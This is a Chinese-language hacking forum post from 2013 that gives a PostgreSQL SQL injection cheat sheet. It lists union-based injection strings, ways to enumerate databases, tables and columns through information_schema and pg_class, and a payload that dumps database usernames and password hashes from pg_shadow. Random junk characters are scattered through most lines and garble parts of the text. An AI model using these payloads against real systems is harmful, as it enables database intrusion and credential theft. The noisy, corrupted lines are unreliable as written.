找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2173|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
$ {; P% R$ x. X( _

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
2 i* y+ j5 P0 N, B, Q, A4 s连接符: %20 , + , /**/

内置函数:
( g: ~" S) q% y# Rcurrent_database() //当前数据库名% Z' l1 b4 C9 q: e
session_user //会话用户
+ Q4 I6 E4 \8 |+ T  a8 {! ocurrent_user //当前数据库用户
& \2 Y5 k1 `- suser //当前用户- a1 R) i, Q2 Z8 \
version() //数据库版本

Union注射:  O* J* C( B; S  b* K9 ~
order by n–
+ X  ~3 z- H  U$ ^( q, a3 i3 band 1=2 union select null,null,null–( f4 S" B- N# c% K, z' B6 ?
and 1=2 union select ‘beach’,null,null–
/ c3 R4 W* a, m9 e3 |and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
- a2 g9 S7 _' P8 {group_concat(table_name)
9 W; u* ~6 C" F4 D" b' I8 Xand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
0 R2 Y) z4 R- Jand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–0 b1 o8 S1 Y, V" m4 }1 ~% e
(老版本)
* v' s' l, d0 O' j9 Ipg_class.oid对应pg_attribute.attrelid
( @) U3 {2 n; ^+ s( d4 V9 Ypg_class.relname表名
. E& W( ^0 G+ E) ~5 T0 B/ Y0 [pg_attribute.attname字段名

select relname from pg_class获取表名
& y' Y/ C& v# B5 }7 l) Cselect oid from pg_class where 条件 获取参数8 p% c! D( D( }; u
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:( c3 v4 w0 Z6 R; A
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
* H) y9 A, A5 Y# b+ d  dand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
+ R4 H' a; H! j( ?7 i由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
) @8 @# {7 h6 l& ]# i0 H7 e2 U======================================================================
+ A+ u# C' M% d1 c2 R1 \% Xand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
: ?. J: I; _+ x& t3 o* mand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表